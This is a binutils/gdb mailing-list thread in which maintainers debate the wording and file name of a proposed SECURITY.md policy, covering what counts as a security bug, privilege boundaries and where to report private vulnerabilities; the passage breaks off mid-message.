RFC: Adding a SECURITY.md document to the Binutils

RFC: Adding a SECURITY.md document to the Binutils

[Nick Clifton]

Hi Guys,

   Many open source projects have a SECURITY.md file which explains
   their stance on security related bugs.  So I thought that it would
   be a good idea if we had one too.  The top level file would actually
   just be a placeholder, like this:

------------- ./SECURITY.md ------------------------------------------
For details on the Binutils security process please see
the SECURITY.md file in the binutils sub-directory.

For details on the GDB security process please see
the SECURITY.md file in the gdb sub-directory.
--------------------------------------------------------------------

   So this email is mostly about the wording for the Binutils specific
   version.  Here is my current proposal:

---------------- binutils/SECURITY.md ------------------------------
Binutils Security Process
=========================

What is a binutils security bug?
================================

    A security bug is one that threatens the security of a system or
    network.  In the context of the GNU Binutils this means a bug that
    relates to the creation of corrupt output files from valid, trusted
    inputs.  Even then the bug would only have a security impact if the
    the code invokes undefined behaviour or results in a privilege
    boundary being crossed.

    Other than that, all other bugs will be treated as non-security
    issues.  This does not mean that they will be ignored, just that
    they will not be given the priority that is given to security bugs.

    This stance applies to the creation tools in the GNU Binutils (eg
    as, ld, gold, objcopy) and the libraries that they use.  Bugs in
    inspection tools (eg readelf, nm objdump) will not be considered
    to be security bugs, since they do not create executable output
    files.  When used on untrusted inputs, these inspection tools
    should be appropriately sandboxed to mitigate potential damage
    due to any malicious input files.

Reporting private security bugs
===============================

   *All bugs reported in the Binutils Bugzilla are public.*

   In order to report a private security bug that is not immediately
   public, please contact one of the downstream distributions with
   security teams.  The follow teams have volunteered to handle such
   bugs:

      Debian:  security@debian.org
      Red Hat: secalert@redhat.com
      SUSE:    security@suse.de

   Please report the bug to just one of these teams.  It will be shared
   with other teams as necessary.

   The team contacted will take care of details such as vulnerability
   rating and CVE assignment (http://cve.mitre.org/about/).  It is likely
   that the team will ask to file a public bug because the issue is
   sufficiently minor and does not warrant an embargo.  An embargo is not
   a requirement for being credited with the discovery of a security
   vulnerability.

Reporting public security bugs
==============================

   It is expected that critical security bugs will be rare, and that most
   security bugs can be reported in Binutils Bugzilla system, thus making
   them public immediately.  The system can be found here:

      https://sourceware.org/bugzilla/

----------------------------------------------------------------------

   Thoughts ?  Comments ?

Cheers
   Nick

Re: RFC: Adding a SECURITY.md document to the Binutils

[Eli Zaretskii]

> Date: Fri, 7 Apr 2023 09:42:25 +0100
> Cc: siddhesh@gotplt.org, "gdb@sourceware.org" <gdb@sourceware.org>
> From: Nick Clifton via Gdb <gdb@sourceware.org>
> 
>    Thoughts ?  Comments ?

Thanks.  A minor nit: does it have to be a .md file?  Can it be a .txt
file instead?

Re: RFC: Adding a SECURITY.md document to the Binutils

[Jan Beulich]

On 07.04.2023 10:42, Nick Clifton via Binutils wrote:
> Hi Guys,
> 
>   Many open source projects have a SECURITY.md file which explains
>   their stance on security related bugs.  So I thought that it would
>   be a good idea if we had one too.  The top level file would actually
>   just be a placeholder, like this:
> 
> ------------- ./SECURITY.md ------------------------------------------
> For details on the Binutils security process please see
> the SECURITY.md file in the binutils sub-directory.
> 
> For details on the GDB security process please see
> the SECURITY.md file in the gdb sub-directory.
> --------------------------------------------------------------------
> 
>   So this email is mostly about the wording for the Binutils specific
>   version.  Here is my current proposal:
> 
> ---------------- binutils/SECURITY.md ------------------------------
> Binutils Security Process
> =========================
> 
> What is a binutils security bug?
> ================================
> 
>    A security bug is one that threatens the security of a system or
>    network.  In the context of the GNU Binutils this means a bug that
>    relates to the creation of corrupt output files from valid, trusted
>    inputs.  Even then the bug would only have a security impact if the
>    the code invokes undefined behaviour or results in a privilege
>    boundary being crossed.
> 
>    Other than that, all other bugs will be treated as non-security
>    issues.  This does not mean that they will be ignored, just that
>    they will not be given the priority that is given to security bugs.
> 
>    This stance applies to the creation tools in the GNU Binutils (eg
>    as, ld, gold, objcopy) and the libraries that they use.  Bugs in
>    inspection tools (eg readelf, nm objdump) will not be considered
>    to be security bugs, since they do not create executable output
>    files.  When used on untrusted inputs, these inspection tools
>    should be appropriately sandboxed to mitigate potential damage
>    due to any malicious input files.
> 
> Reporting private security bugs
> ===============================
> 
>   *All bugs reported in the Binutils Bugzilla are public.*
> 
>   In order to report a private security bug that is not immediately
>   public, please contact one of the downstream distributions with
>   security teams.  The follow teams have volunteered to handle such
>   bugs:
> 
>      Debian:  security@debian.org
>      Red Hat: secalert@redhat.com
>      SUSE:    security@suse.de
> 
>   Please report the bug to just one of these teams.  It will be shared
>   with other teams as necessary.
> 
>   The team contacted will take care of details such as vulnerability
>   rating and CVE assignment (http://cve.mitre.org/about/).  It is likely
>   that the team will ask to file a public bug because the issue is
>   sufficiently minor and does not warrant an embargo.  An embargo is not
>   a requirement for being credited with the discovery of a security
>   vulnerability.
> 
> Reporting public security bugs
> ==============================
> 
>   It is expected that critical security bugs will be rare, and that most
>   security bugs can be reported in Binutils Bugzilla system, thus making
>   them public immediately.  The system can be found here:
> 
>      https://sourceware.org/bugzilla/
> 
> ----------------------------------------------------------------------
> 
>   Thoughts ?  Comments ?

Making aspects like this explicit (and easily findable) is certainly a good
thing imo.

Jan

Re: RFC: Adding a SECURITY.md document to the Binutils

[John Baldwin]

On 4/7/23 1:42 AM, Nick Clifton via Gdb wrote:
> Reporting private security bugs
> ===============================
> 
>     *All bugs reported in the Binutils Bugzilla are public.*
> 
>     In order to report a private security bug that is not immediately
>     public, please contact one of the downstream distributions with
>     security teams.  The follow teams have volunteered to handle such
>     bugs:

One nit: s/follow/following/ I think

The overall policy for binutils seems sane to me btw (with my OS vendor
hat on)

-- 
John Baldwin

Re: RFC: Adding a SECURITY.md document to the Binutils

[Nick Clifton]

Hi Eli,

> Thanks.  A minor nit: does it have to be a .md file?  Can it be a .txt
> file instead?

Sure - no problem.  In fact until you asked I just assumed that .md == .txt.
But I see no need for any markup capabilities so using .txt files is fine with me.

Cheers
   Nick

Re: RFC: Adding a SECURITY.md document to the Binutils

[Simon Marchi]

On 4/11/23 09:29, Nick Clifton via Gdb wrote:
> Hi Eli,
> 
>> Thanks.  A minor nit: does it have to be a .md file?  Can it be a .txt
>> file instead?
> 
> Sure - no problem.  In fact until you asked I just assumed that .md == .txt.
> But I see no need for any markup capabilities so using .txt files is fine with me.

FWIW, I like .md files, they read well as just text, but are also
displayed nicely when viewed in contexts like git web views.  I don't
see any downsides to using it.

Simon

Re: RFC: Adding a SECURITY.md document to the Binutils

[Eli Zaretskii]

> Date: Tue, 11 Apr 2023 10:23:05 -0400
> Cc: binutils@sourceware.org, siddhesh@gotplt.org, gdb@sourceware.org
> From: Simon Marchi <simark@simark.ca>
> 
> On 4/11/23 09:29, Nick Clifton via Gdb wrote:
> > Hi Eli,
> > 
> >> Thanks.  A minor nit: does it have to be a .md file?  Can it be a .txt
> >> file instead?
> > 
> > Sure - no problem.  In fact until you asked I just assumed that .md == .txt.
> > But I see no need for any markup capabilities so using .txt files is fine with me.
> 
> FWIW, I like .md files, they read well as just text, but are also
> displayed nicely when viewed in contexts like git web views.  I don't
> see any downsides to using it.

The markup gets in the way, unless you use a viewer that supports
markdown.

But I thought Nick said he didn't intend to use any markup? if so, we
are talking plain text anyway, and a .md file name will just mislead.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Nick Clifton]

Hi Guys,

> But I thought Nick said he didn't intend to use any markup? 

That was certainly my intent.  Is there anything that we can gain from
using markup for this document ?

> if so, we
> are talking plain text anyway, and a .md file name will just mislead.

Agreed.

Cheers
   Nick

Re: RFC: Adding a SECURITY.md document to the Binutils

[Matt Rice]

On Tue, Apr 11, 2023 at 4:23 PM Nick Clifton via Binutils
<binutils@sourceware.org> wrote:
>
> Hi Guys,
>
> > But I thought Nick said he didn't intend to use any markup?
>
> That was certainly my intent.  Is there anything that we can gain from
> using markup for this document ?

I think the main reason to avoid renaming it is certain processes expect the
file to be named Security.md.  E.g. when filing a bug report on github
repositories will link to it as an alternative channel for opening
security issues.
given that binutils doesn't use github for bug reports this might be
somewhat less
persuasive.  I'm not sure if forks may use github issue tracker, there
are a few other
things which look for the file, such as a thing which scores the
processes set up for a
given repo, and a more visible tab.  I tend to think that .md markup
is lightweight enough that it is readable without
rendering, and don't see much benefit from diverging from this process...

>
> > if so, we
> > are talking plain text anyway, and a .md file name will just mislead.
>
> Agreed.
>
> Cheers
>    Nick
>

Re: RFC: Adding a SECURITY.md document to the Binutils

[J.W. Jagersma]

On 2023-04-11 17:00, Eli Zaretskii via Gdb wrote:
>> Date: Tue, 11 Apr 2023 10:23:05 -0400
>> Cc: binutils@sourceware.org, siddhesh@gotplt.org, gdb@sourceware.org
>> From: Simon Marchi <simark@simark.ca>
>>
>> On 4/11/23 09:29, Nick Clifton via Gdb wrote:
>>> Hi Eli,
>>>
>>>> Thanks.  A minor nit: does it have to be a .md file?  Can it be a .txt
>>>> file instead?
>>>
>>> Sure - no problem.  In fact until you asked I just assumed that .md == .txt.
>>> But I see no need for any markup capabilities so using .txt files is fine with me.
>>
>> FWIW, I like .md files, they read well as just text, but are also
>> displayed nicely when viewed in contexts like git web views.  I don't
>> see any downsides to using it.
> 
> The markup gets in the way, unless you use a viewer that supports
> markdown.
> 
> But I thought Nick said he didn't intend to use any markup? if so, we
> are talking plain text anyway, and a .md file name will just mislead.

Markdown was designed to be easily readable as plaintext; the syntax is very
similar to how one would format an email.  In fact, the document as proposed is
already a valid Markdown document.

For consistency though, I'd suggest to not use any file extension at all.  None
of the top-level text files currently have an extension.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Ian Lance Taylor]

On Fri, Apr 7, 2023 at 1:43 AM Nick Clifton via Binutils
<binutils@sourceware.org> wrote:
>
>    Many open source projects have a SECURITY.md file which explains
>    their stance on security related bugs.  So I thought that it would
>    be a good idea if we had one too.

This is quite nice, thanks for doing this.

Ian

Re: RFC: Adding a SECURITY.md document to the Binutils

[Nick Clifton]

Hi Guys,

> For consistency though, I'd suggest to not use any file extension at all.  None
> of the top-level text files currently have an extension.

Except that I think that there is an expectation that the file will have an
extension.  For example see this wikipedia article in favour of security.txt:

   https://en.wikipedia.org/wiki/Security.txt

Then again, repositories like github seem to prefer a security.md file:

   https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository

I think that there are web crawlers out there that look for this type of
document and can handle either extension.  But I am not sure if they will
work with no extension at all.

Cheers
   Nick

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 07/04/2023 09:42, Nick Clifton via Binutils wrote:
> Hi Guys,
> 
>    Many open source projects have a SECURITY.md file which explains
>    their stance on security related bugs.  So I thought that it would
>    be a good idea if we had one too.  The top level file would actually
>    just be a placeholder, like this:
> 
> ------------- ./SECURITY.md ------------------------------------------
> For details on the Binutils security process please see
> the SECURITY.md file in the binutils sub-directory.
> 
> For details on the GDB security process please see
> the SECURITY.md file in the gdb sub-directory.
> --------------------------------------------------------------------
> 
>    So this email is mostly about the wording for the Binutils specific
>    version.  Here is my current proposal:
> 
> ---------------- binutils/SECURITY.md ------------------------------
> Binutils Security Process
> =========================
> 
> What is a binutils security bug?
> ================================
> 
>     A security bug is one that threatens the security of a system or
>     network.  In the context of the GNU Binutils this means a bug that
>     relates to the creation of corrupt output files from valid, trusted
>     inputs.  Even then the bug would only have a security impact if the
>     the code invokes undefined behaviour or results in a privilege
>     boundary being crossed.
> 
>     Other than that, all other bugs will be treated as non-security
>     issues.  This does not mean that they will be ignored, just that
>     they will not be given the priority that is given to security bugs.
> 
>     This stance applies to the creation tools in the GNU Binutils (eg
>     as, ld, gold, objcopy) and the libraries that they use.  Bugs in
>     inspection tools (eg readelf, nm objdump) will not be considered
>     to be security bugs, since they do not create executable output
>     files.  When used on untrusted inputs, these inspection tools
>     should be appropriately sandboxed to mitigate potential damage
>     due to any malicious input files.

I'd expect that any program used on untrusted input to be run only at 
user-level privileges.  So we should exclude issues where an account 
with elevated privileges (eg root) is used with either inspection or 
generation tools.

The other area of concern is where the tools (particularly the linker) 
'generate' code; so bugs in the opcodes the assembler generates (eg by 
not setting some don't care bits to something safe) or with code 
generated by the linker to glue functions together (relocation handling, 
PLTs, veneers, etc) would also count.

R.

> 
> Reporting private security bugs
> ===============================
> 
>    *All bugs reported in the Binutils Bugzilla are public.*
> 
>    In order to report a private security bug that is not immediately
>    public, please contact one of the downstream distributions with
>    security teams.  The follow teams have volunteered to handle such
>    bugs:
> 
>       Debian:  security@debian.org
>       Red Hat: secalert@redhat.com
>       SUSE:    security@suse.de
> 
>    Please report the bug to just one of these teams.  It will be shared
>    with other teams as necessary.
> 
>    The team contacted will take care of details such as vulnerability
>    rating and CVE assignment (http://cve.mitre.org/about/).  It is likely
>    that the team will ask to file a public bug because the issue is
>    sufficiently minor and does not warrant an embargo.  An embargo is not
>    a requirement for being credited with the discovery of a security
>    vulnerability.
> 
> Reporting public security bugs
> ==============================
> 
>    It is expected that critical security bugs will be rare, and that most
>    security bugs can be reported in Binutils Bugzilla system, thus making
>    them public immediately.  The system can be found here:
> 
>       https://sourceware.org/bugzilla/
> 
> ----------------------------------------------------------------------
> 
>    Thoughts ?  Comments ?
> 
> Cheers
>    Nick
> 

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-12 12:02, Richard Earnshaw wrote:
> 
> 
> On 07/04/2023 09:42, Nick Clifton via Binutils wrote:
>> Hi Guys,
>>
>>    Many open source projects have a SECURITY.md file which explains
>>    their stance on security related bugs.  So I thought that it would
>>    be a good idea if we had one too.  The top level file would actually
>>    just be a placeholder, like this:
>>
>> ------------- ./SECURITY.md ------------------------------------------
>> For details on the Binutils security process please see
>> the SECURITY.md file in the binutils sub-directory.
>>
>> For details on the GDB security process please see
>> the SECURITY.md file in the gdb sub-directory.
>> --------------------------------------------------------------------
>>
>>    So this email is mostly about the wording for the Binutils specific
>>    version.  Here is my current proposal:
>>
>> ---------------- binutils/SECURITY.md ------------------------------
>> Binutils Security Process
>> =========================
>>
>> What is a binutils security bug?
>> ================================
>>
>>     A security bug is one that threatens the security of a system or
>>     network.  In the context of the GNU Binutils this means a bug that
>>     relates to the creation of corrupt output files from valid, trusted
>>     inputs.  Even then the bug would only have a security impact if the
>>     the code invokes undefined behaviour or results in a privilege
>>     boundary being crossed.
>>
>>     Other than that, all other bugs will be treated as non-security
>>     issues.  This does not mean that they will be ignored, just that
>>     they will not be given the priority that is given to security bugs.
>>
>>     This stance applies to the creation tools in the GNU Binutils (eg
>>     as, ld, gold, objcopy) and the libraries that they use.  Bugs in
>>     inspection tools (eg readelf, nm objdump) will not be considered
>>     to be security bugs, since they do not create executable output
>>     files.  When used on untrusted inputs, these inspection tools
>>     should be appropriately sandboxed to mitigate potential damage
>>     due to any malicious input files.
> 
> I'd expect that any program used on untrusted input to be run only at 
> user-level privileges.  So we should exclude issues where an account 
> with elevated privileges (eg root) is used with either inspection or 
> generation tools.

Agreed, I think this should be addressed by the "or results in a 
privilege boundary being crossed".  By running these programs as root, 
the user is elevating privileges themselves, so it's not a binutils problem.

Perhaps it's necessary to educate users to not run these programs as 
root, but I don't think it is the intent of SECURITY.md to educate users 
about secure usage.  The intent is to define context by describing what 
constitutes security-relevant bugs and then document mechanisms to reach 
out to communicate those bugs in case they're sensitive.

> The other area of concern is where the tools (particularly the linker) 
> 'generate' code; so bugs in the opcodes the assembler generates (eg by 
> not setting some don't care bits to something safe) or with code 
> generated by the linker to glue functions together (relocation handling, 
> PLTs, veneers, etc) would also count.

Ack, I reckon this should be addressed by "corrupt output files from 
valid trusted inputs".  If that's not clear enough, could you suggest 
alternative phrasing that makes it clearer?

Thanks,
Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 12/04/2023 17:26, Siddhesh Poyarekar wrote:
> On 2023-04-12 12:02, Richard Earnshaw wrote:
>>
>>
>> On 07/04/2023 09:42, Nick Clifton via Binutils wrote:
>>> Hi Guys,
>>>
>>>    Many open source projects have a SECURITY.md file which explains
>>>    their stance on security related bugs.  So I thought that it would
>>>    be a good idea if we had one too.  The top level file would actually
>>>    just be a placeholder, like this:
>>>
>>> ------------- ./SECURITY.md ------------------------------------------
>>> For details on the Binutils security process please see
>>> the SECURITY.md file in the binutils sub-directory.
>>>
>>> For details on the GDB security process please see
>>> the SECURITY.md file in the gdb sub-directory.
>>> --------------------------------------------------------------------
>>>
>>>    So this email is mostly about the wording for the Binutils specific
>>>    version.  Here is my current proposal:
>>>
>>> ---------------- binutils/SECURITY.md ------------------------------
>>> Binutils Security Process
>>> =========================
>>>
>>> What is a binutils security bug?
>>> ================================
>>>
>>>     A security bug is one that threatens the security of a system or
>>>     network.  In the context of the GNU Binutils this means a bug that
>>>     relates to the creation of corrupt output files from valid, trusted
>>>     inputs.  Even then the bug would only have a security impact if the
>>>     the code invokes undefined behaviour or results in a privilege
>>>     boundary being crossed.
>>>
>>>     Other than that, all other bugs will be treated as non-security
>>>     issues.  This does not mean that they will be ignored, just that
>>>     they will not be given the priority that is given to security bugs.
>>>
>>>     This stance applies to the creation tools in the GNU Binutils (eg
>>>     as, ld, gold, objcopy) and the libraries that they use.  Bugs in
>>>     inspection tools (eg readelf, nm objdump) will not be considered
>>>     to be security bugs, since they do not create executable output
>>>     files.  When used on untrusted inputs, these inspection tools
>>>     should be appropriately sandboxed to mitigate potential damage
>>>     due to any malicious input files.
>>
>> I'd expect that any program used on untrusted input to be run only at 
>> user-level privileges.  So we should exclude issues where an account 
>> with elevated privileges (eg root) is used with either inspection or 
>> generation tools.
> 
> Agreed, I think this should be addressed by the "or results in a 
> privilege boundary being crossed".  By running these programs as root, 
> the user is elevating privileges themselves, so it's not a binutils 
> problem.

My reading of the text is that "privilege boundary being crossed" (in 
the first paragraph) is specifically related to the generated output, 
not to the program itself being run with elevated privileges.

> 
> Perhaps it's necessary to educate users to not run these programs as 
> root, but I don't think it is the intent of SECURITY.md to educate users 
> about secure usage.  The intent is to define context by describing what 
> constitutes security-relevant bugs and then document mechanisms to reach 
> out to communicate those bugs in case they're sensitive.
> 
>> The other area of concern is where the tools (particularly the linker) 
>> 'generate' code; so bugs in the opcodes the assembler generates (eg by 
>> not setting some don't care bits to something safe) or with code 
>> generated by the linker to glue functions together (relocation 
>> handling, PLTs, veneers, etc) would also count.
> 
> Ack, I reckon this should be addressed by "corrupt output files from 
> valid trusted inputs".  If that's not clear enough, could you suggest 
> alternative phrasing that makes it clearer?

I'm not sure corrupt is general enough.  Each instruction in the binary 
might be completely legal, but their sequencing could leave some 
vulnerabilities (think spectre, for example, but that's pretty extreme).

Perhaps something like "... this means that the tools introduce a 
vulnerability in the output file that was not present in the input files 
being processed".  I think with that wording you probably don't even 
need the last sentence in the first paragraph.

R.

> 
> Thanks,
> Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Paul Koning]

> On Apr 12, 2023, at 12:52 PM, Richard Earnshaw via Gdb <gdb@sourceware.org> wrote:
> 
> On 12/04/2023 17:26, Siddhesh Poyarekar wrote:
>> ...
>> Ack, I reckon this should be addressed by "corrupt output files from valid trusted inputs".  If that's not clear enough, could you suggest alternative phrasing that makes it clearer?
> 
> I'm not sure corrupt is general enough.  Each instruction in the binary might be completely legal, but their sequencing could leave some vulnerabilities (think spectre, for example, but that's pretty extreme).
> 
> Perhaps something like "... this means that the tools introduce a vulnerability in the output file that was not present in the input files being processed".  I think with that wording you probably don't even need the last sentence in the first paragraph.

I agree.  The scenario in "Reflections on trusting trust", Ken Thompson's famous paper, comes to mind.  It might be worth adding that as a reference.

	paul

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-12 12:52, Richard Earnshaw wrote:
> 
> 
> On 12/04/2023 17:26, Siddhesh Poyarekar wrote:
>> On 2023-04-12 12:02, Richard Earnshaw wrote:
>>>
>>>
>>> On 07/04/2023 09:42, Nick Clifton via Binutils wrote:
>>>> Hi Guys,
>>>>
>>>>    Many open source projects have a SECURITY.md file which explains
>>>>    their stance on security related bugs.  So I thought that it would
>>>>    be a good idea if we had one too.  The top level file would actually
>>>>    just be a placeholder, like this:
>>>>
>>>> ------------- ./SECURITY.md ------------------------------------------
>>>> For details on the Binutils security process please see
>>>> the SECURITY.md file in the binutils sub-directory.
>>>>
>>>> For details on the GDB security process please see
>>>> the SECURITY.md file in the gdb sub-directory.
>>>> --------------------------------------------------------------------
>>>>
>>>>    So this email is mostly about the wording for the Binutils specific
>>>>    version.  Here is my current proposal:
>>>>
>>>> ---------------- binutils/SECURITY.md ------------------------------
>>>> Binutils Security Process
>>>> =========================
>>>>
>>>> What is a binutils security bug?
>>>> ================================
>>>>
>>>>     A security bug is one that threatens the security of a system or
>>>>     network.  In the context of the GNU Binutils this means a bug that
>>>>     relates to the creation of corrupt output files from valid, trusted
>>>>     inputs.  Even then the bug would only have a security impact if the
>>>>     the code invokes undefined behaviour or results in a privilege
>>>>     boundary being crossed.
>>>>
>>>>     Other than that, all other bugs will be treated as non-security
>>>>     issues.  This does not mean that they will be ignored, just that
>>>>     they will not be given the priority that is given to security bugs.
>>>>
>>>>     This stance applies to the creation tools in the GNU Binutils (eg
>>>>     as, ld, gold, objcopy) and the libraries that they use.  Bugs in

Perhaps also name libbfd, libopcode, etc. in the libraries to make it 
clearer.

>>>>     inspection tools (eg readelf, nm objdump) will not be considered
>>>>     to be security bugs, since they do not create executable output
>>>>     files.  When used on untrusted inputs, these inspection tools
>>>>     should be appropriately sandboxed to mitigate potential damage
>>>>     due to any malicious input files.
>>>
>>> I'd expect that any program used on untrusted input to be run only at 
>>> user-level privileges.  So we should exclude issues where an account 
>>> with elevated privileges (eg root) is used with either inspection or 
>>> generation tools.
>>
>> Agreed, I think this should be addressed by the "or results in a 
>> privilege boundary being crossed".  By running these programs as root, 
>> the user is elevating privileges themselves, so it's not a binutils 
>> problem.
> 
> My reading of the text is that "privilege boundary being crossed" (in 
> the first paragraph) is specifically related to the generated output, 
> not to the program itself being run with elevated privileges.

OK, then how about this for the first paragraph:

~~~
A security bug is one that threatens the security of a system or 
network.  In the context of GNU Binutils, there are two ways in which a 
bug could have security consequences. The primary method is when the 
tools introduce a vulnerability in the output file that was not present 
in the input files being processed.  The other, albeit unlikely way is 
when a bug in the tools results in a privilege boundary is crossed in 
either the tools themselves or in the code they generate.
~~~

>>> The other area of concern is where the tools (particularly the 
>>> linker) 'generate' code; so bugs in the opcodes the assembler 
>>> generates (eg by not setting some don't care bits to something safe) 
>>> or with code generated by the linker to glue functions together 
>>> (relocation handling, PLTs, veneers, etc) would also count.
>>
>> Ack, I reckon this should be addressed by "corrupt output files from 
>> valid trusted inputs".  If that's not clear enough, could you suggest 
>> alternative phrasing that makes it clearer?
> 
> I'm not sure corrupt is general enough.  Each instruction in the binary 
> might be completely legal, but their sequencing could leave some 
> vulnerabilities (think spectre, for example, but that's pretty extreme).
> 
> Perhaps something like "... this means that the tools introduce a 
> vulnerability in the output file that was not present in the input files 
> being processed".  I think with that wording you probably don't even 
> need the last sentence in the first paragraph.

Agreed, that sounds more precise.  I've incorporated that into the 
paragraph above.  How does that sound overall?

Thanks,
Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Alan Modra]

On Wed, Apr 12, 2023 at 01:10:01PM -0400, Siddhesh Poyarekar wrote:
> OK, then how about this for the first paragraph:
> 
> ~~~
> A security bug is one that threatens the security of a system or network.
> In the context of GNU Binutils, there are two ways in which a bug could have
> security consequences. The primary method is when the tools introduce a
> vulnerability in the output file that was not present in the input files
> being processed.  The other, albeit unlikely way is when a bug in the tools
> results in a privilege boundary is crossed in either the tools themselves or
> in the code they generate.
> ~~~

I don't see that talking about privilege boundaries is particularly
relevant.  Consider this:

It is trivially easy to craft an object file that when examined with
objdump will read your ssh private keys.  That's not a bug, it's a
feature of thin archives.

Now all you need is some means of delivering those private keys, and
I'm sure there are plenty of buffer overflows in libbfd waiting to be
exploited, especially with --enable-targets=all.

-- 
Alan Modra
Australia Development Lab, IBM

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-12 23:51, Alan Modra wrote:
> On Wed, Apr 12, 2023 at 01:10:01PM -0400, Siddhesh Poyarekar wrote:
>> OK, then how about this for the first paragraph:
>>
>> ~~~
>> A security bug is one that threatens the security of a system or network.
>> In the context of GNU Binutils, there are two ways in which a bug could have
>> security consequences. The primary method is when the tools introduce a
>> vulnerability in the output file that was not present in the input files
>> being processed.  The other, albeit unlikely way is when a bug in the tools
>> results in a privilege boundary is crossed in either the tools themselves or
>> in the code they generate.
>> ~~~
> 
> I don't see that talking about privilege boundaries is particularly
> relevant.  Consider this:
> 
> It is trivially easy to craft an object file that when examined with
> objdump will read your ssh private keys.  That's not a bug, it's a
> feature of thin archives.
> 
> Now all you need is some means of delivering those private keys, and
> I'm sure there are plenty of buffer overflows in libbfd waiting to be
> exploited, especially with --enable-targets=all.

That's not a crossing of privilege boundaries; ssh private keys are 
owned by the executing user.  A crossing of privilege boundaries implies 
being able to do something that one wasn't previously able to do, like 
reading files not owned by the executing user.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Alan Modra]

On Thu, Apr 13, 2023 at 12:25:45AM -0400, Siddhesh Poyarekar wrote:
> On 2023-04-12 23:51, Alan Modra wrote:
> > On Wed, Apr 12, 2023 at 01:10:01PM -0400, Siddhesh Poyarekar wrote:
> > > OK, then how about this for the first paragraph:
> > > 
> > > ~~~
> > > A security bug is one that threatens the security of a system or network.
> > > In the context of GNU Binutils, there are two ways in which a bug could have
> > > security consequences. The primary method is when the tools introduce a
> > > vulnerability in the output file that was not present in the input files
> > > being processed.  The other, albeit unlikely way is when a bug in the tools
> > > results in a privilege boundary is crossed in either the tools themselves or
> > > in the code they generate.
> > > ~~~
> > 
> > I don't see that talking about privilege boundaries is particularly
> > relevant.  Consider this:
> > 
> > It is trivially easy to craft an object file that when examined with
> > objdump will read your ssh private keys.  That's not a bug, it's a
> > feature of thin archives.
> > 
> > Now all you need is some means of delivering those private keys, and
> > I'm sure there are plenty of buffer overflows in libbfd waiting to be
> > exploited, especially with --enable-targets=all.
> 
> That's not a crossing of privilege boundaries;

I know.  Ah, I see.  You were saying that only the very narrow case of
a privilege escalation will be considered a "security bug".  Fair
enough I suppose, but that's close to the much simpler and more easily
understood:

"binutils makes no claim to being secure, ergo there are no security
bugs".

-- 
Alan Modra
Australia Development Lab, IBM

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 12/04/2023 18:10, Siddhesh Poyarekar wrote:
> 
> 
> On 2023-04-12 12:52, Richard Earnshaw wrote:
>>
>>
>> On 12/04/2023 17:26, Siddhesh Poyarekar wrote:
>>> On 2023-04-12 12:02, Richard Earnshaw wrote:
>>>>
>>>>
>>>> On 07/04/2023 09:42, Nick Clifton via Binutils wrote:
>>>>> Hi Guys,
>>>>>
>>>>>    Many open source projects have a SECURITY.md file which explains
>>>>>    their stance on security related bugs.  So I thought that it would
>>>>>    be a good idea if we had one too.  The top level file would 
>>>>> actually
>>>>>    just be a placeholder, like this:
>>>>>
>>>>> ------------- ./SECURITY.md ------------------------------------------
>>>>> For details on the Binutils security process please see
>>>>> the SECURITY.md file in the binutils sub-directory.
>>>>>
>>>>> For details on the GDB security process please see
>>>>> the SECURITY.md file in the gdb sub-directory.
>>>>> --------------------------------------------------------------------
>>>>>
>>>>>    So this email is mostly about the wording for the Binutils specific
>>>>>    version.  Here is my current proposal:
>>>>>
>>>>> ---------------- binutils/SECURITY.md ------------------------------
>>>>> Binutils Security Process
>>>>> =========================
>>>>>
>>>>> What is a binutils security bug?
>>>>> ================================
>>>>>
>>>>>     A security bug is one that threatens the security of a system or
>>>>>     network.  In the context of the GNU Binutils this means a bug that
>>>>>     relates to the creation of corrupt output files from valid, 
>>>>> trusted
>>>>>     inputs.  Even then the bug would only have a security impact if 
>>>>> the
>>>>>     the code invokes undefined behaviour or results in a privilege
>>>>>     boundary being crossed.
>>>>>
>>>>>     Other than that, all other bugs will be treated as non-security
>>>>>     issues.  This does not mean that they will be ignored, just that
>>>>>     they will not be given the priority that is given to security 
>>>>> bugs.
>>>>>
>>>>>     This stance applies to the creation tools in the GNU Binutils (eg
>>>>>     as, ld, gold, objcopy) and the libraries that they use.  Bugs in
> 
> Perhaps also name libbfd, libopcode, etc. in the libraries to make it 
> clearer.
> 
>>>>>     inspection tools (eg readelf, nm objdump) will not be considered
>>>>>     to be security bugs, since they do not create executable output
>>>>>     files.  When used on untrusted inputs, these inspection tools
>>>>>     should be appropriately sandboxed to mitigate potential damage
>>>>>     due to any malicious input files.
>>>>
>>>> I'd expect that any program used on untrusted input to be run only 
>>>> at user-level privileges.  So we should exclude issues where an 
>>>> account with elevated privileges (eg root) is used with either 
>>>> inspection or generation tools.
>>>
>>> Agreed, I think this should be addressed by the "or results in a 
>>> privilege boundary being crossed".  By running these programs as 
>>> root, the user is elevating privileges themselves, so it's not a 
>>> binutils problem.
>>
>> My reading of the text is that "privilege boundary being crossed" (in 
>> the first paragraph) is specifically related to the generated output, 
>> not to the program itself being run with elevated privileges.
> 
> OK, then how about this for the first paragraph:
> 
> ~~~
> A security bug is one that threatens the security of a system or 
> network.  In the context of GNU Binutils, there are two ways in which a 
> bug could have security consequences. The primary method is when the 
> tools introduce a vulnerability in the output file that was not present 
> in the input files being processed.  The other, albeit unlikely way is 
> when a bug in the tools results in a privilege boundary is crossed in 
> either the tools themselves or in the code they generate.

So mention of networks reminds me that you don't always need privilege 
escalation to have a security compromise - simply transmitting a file to 
a third party, if that wasn't intended, would be enough.

So I would suggest:

A security bug is one that threatens the security of a system or 
network, or might compromise the security of data stored on it.  In the 
context of GNU Binutils there are two ways in which such bugs might 
occur.  In the first, the programs themselves might be tricked into a 
direct compromise of security.  In the second, the tools might introduce 
a vulnerability in the generated output that was not already present in 
the files used as input.

Note: none of the programs in the GNU Binutils suite need elevated 
